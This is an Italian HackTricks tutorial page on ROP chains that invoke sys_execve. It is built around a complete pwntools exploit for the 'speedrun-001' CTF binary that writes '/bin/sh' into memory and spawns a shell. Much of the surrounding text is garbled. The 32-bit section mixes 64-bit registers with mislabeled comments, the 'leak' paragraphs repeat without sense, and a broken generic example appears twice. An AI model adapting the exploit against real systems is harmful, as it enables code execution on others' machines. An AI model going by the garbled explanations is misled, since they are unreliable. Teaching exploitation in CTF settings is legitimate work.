11 KiB
ROP - chiamata sys_execve
Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud github repos.
Per preparare la chiamata al syscall è necessaria la seguente configurazione:
rax: 59 Specifica sys_execve
rdi: puntatore a "/bin/sh" specifica il file da eseguire
rsi: 0 specifica che non vengono passati argomenti
rdx: 0 specifica che non vengono passate variabili d'ambiente
Quindi, fondamentalmente è necessario scrivere la stringa /bin/sh
da qualche parte e quindi eseguire il syscall
(avendo cura del padding necessario per controllare lo stack).
Controllare i registri
Iniziamo trovando come controllare quei registri:
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
Con questi indirizzi è possibile scrivere il contenuto nello stack e caricarlo nei registri.
Scrivi stringa
Memoria scrivibile
Prima di tutto devi trovare un posto scrivibile nella memoria.
gef> vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
Scrivere una stringa
Successivamente, devi trovare un modo per scrivere contenuti arbitrari in questo indirizzo.
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
32 bit
Le tecniche di ROP (Return-Oriented Programming) possono essere utilizzate per sfruttare vulnerabilità di buffer overflow e ottenere l'esecuzione di codice arbitrario su sistemi Linux a 32 bit. Una delle tecniche più comuni è l'utilizzo di una chiamata di sistema execv
per eseguire un programma esterno.
La chiamata di sistema execv
richiede due argomenti: il percorso del programma da eseguire e un array di puntatori agli argomenti del programma. Per utilizzare questa chiamata di sistema con ROP, dobbiamo trovare i valori corretti per questi argomenti e caricarli nei registri appropriati.
Per trovare il percorso del programma da eseguire, possiamo utilizzare la tecnica del "leak" per ottenere l'indirizzo di una stringa nel programma stesso. Possiamo quindi calcolare l'offset tra l'indirizzo della stringa e l'indirizzo del programma e utilizzare questo offset per calcolare il percorso del programma.
Per creare l'array di puntatori agli argomenti del programma, possiamo utilizzare la tecnica del "leak" per ottenere l'indirizzo di una stringa nel programma stesso. Possiamo quindi calcolare l'offset tra l'indirizzo della stringa e l'indirizzo del programma e utilizzare questo offset per calcolare l'indirizzo dell'array di puntatori.
Una volta che abbiamo i valori corretti per il percorso del programma e l'array di puntatori, possiamo caricarli nei registri appropriati utilizzando gadget ROP. I gadget ROP sono sequenze di istruzioni che terminano con una istruzione di ritorno (ret
) e possono essere utilizzati per caricare valori nei registri.
Dopo aver caricato i valori nei registri, possiamo utilizzare una sequenza di gadget ROP per chiamare la funzione execv
e ottenere l'esecuzione del programma esterno.
Le tecniche di ROP possono essere complesse e richiedono una buona comprensione dell'architettura del sistema e delle vulnerabilità specifiche. Tuttavia, una volta padroneggiate, possono essere molto potenti per sfruttare vulnerabilità e ottenere l'esecuzione di codice arbitrario.
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop += popRdx # place value into EAX
rop += "/bin" # 4 bytes at a time
rop += popRax # place value into edx
rop += p32(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
64 bit
Le architetture a 64 bit sono diventate sempre più comuni negli ultimi anni. Questo ha portato a una maggiore complessità nel sfruttamento delle vulnerabilità e nell'esecuzione di exploit. In questa sezione, esploreremo alcune tecniche di hacking specifiche per le architetture a 64 bit.
ROP (Return-Oriented Programming)
La programmazione orientata al ritorno (ROP) è una tecnica di hacking che sfrutta le istruzioni di ritorno presenti nello stack per eseguire codice arbitrario. In un attacco ROP, l'obiettivo è costruire una catena di gadget, che sono frammenti di codice esistenti nel programma bersaglio, per eseguire azioni dannose.
Syscall
Le chiamate di sistema (syscall) sono un meccanismo che consente ai programmi di interagire con il kernel del sistema operativo. Le chiamate di sistema possono essere utilizzate per eseguire operazioni privilegiate, come l'apertura di file, la lettura/scrittura su file, la creazione di processi, ecc.
execv()
La funzione execv() è una chiamata di sistema che viene utilizzata per eseguire un nuovo programma all'interno di un processo esistente. Prende come argomenti il percorso del programma da eseguire e un array di argomenti da passare al programma. Quando la funzione execv() viene chiamata, il programma corrente viene sostituito dal nuovo programma specificato.
Eseguire un comando tramite execv()
Per eseguire un comando utilizzando la funzione execv(), è necessario fornire il percorso del programma da eseguire come primo argomento e un array di argomenti come secondo argomento. L'ultimo elemento dell'array di argomenti deve essere NULL per indicare la fine dell'elenco degli argomenti.
Ecco un esempio di come eseguire il comando "ls -l" utilizzando la funzione execv():
#include <unistd.h>
int main() {
char *args[] = {"ls", "-l", NULL};
execv("/bin/ls", args);
return 0;
}
Nell'esempio sopra, stiamo eseguendo il comando "ls -l" utilizzando la funzione execv(). Il percorso del programma da eseguire è "/bin/ls" e gli argomenti sono "ls" e "-l".
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
Esempio
from pwn import *
# Connect to the target
p = remote('target', 1337)
# Find the address of the system function
system_addr = p.elf.symbols['system']
# Find the address of the "/bin/sh" string
binsh_addr = next(p.elf.search('/bin/sh'))
# Find the address of the exit function
exit_addr = p.elf.symbols['exit']
# Build the ROP chain
rop = ROP(p.elf)
rop.call(system_addr, [binsh_addr])
rop.call(exit_addr)
# Send the ROP chain to the target
p.sendlineafter('>', flat(rop.chain()))
# Interact with the shell
p.interactive()
from pwn import *
# Connettersi all'obiettivo
p = remote('obiettivo', 1337)
# Trovare l'indirizzo della funzione system
system_addr = p.elf.symbols['system']
# Trovare l'indirizzo della stringa "/bin/sh"
binsh_addr = next(p.elf.search('/bin/sh'))
# Trovare l'indirizzo della funzione exit
exit_addr = p.elf.symbols['exit']
# Costruire la catena ROP
rop = ROP(p.elf)
rop.call(system_addr, [binsh_addr])
rop.call(exit_addr)
# Inviare la catena ROP all'obiettivo
p.sendlineafter('>', flat(rop.chain()))
# Interagire con la shell
p.interactive()
from pwn import *
target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')
# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
# Our syscall gadget
syscall = p64(0x40129c)
'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget
'''
Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0
syscall
'''
rop += popRax
rop += p64(0x3b)
rop += popRdi
rop += p64(0x6b6000)
rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)
rop += syscall
# Add the padding to the saved return address
payload = "0"*0x408 + rop
# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
Riferimenti
Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF, controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi i tuoi trucchi di hacking inviando PR ai repository di HackTricks e HackTricks Cloud github.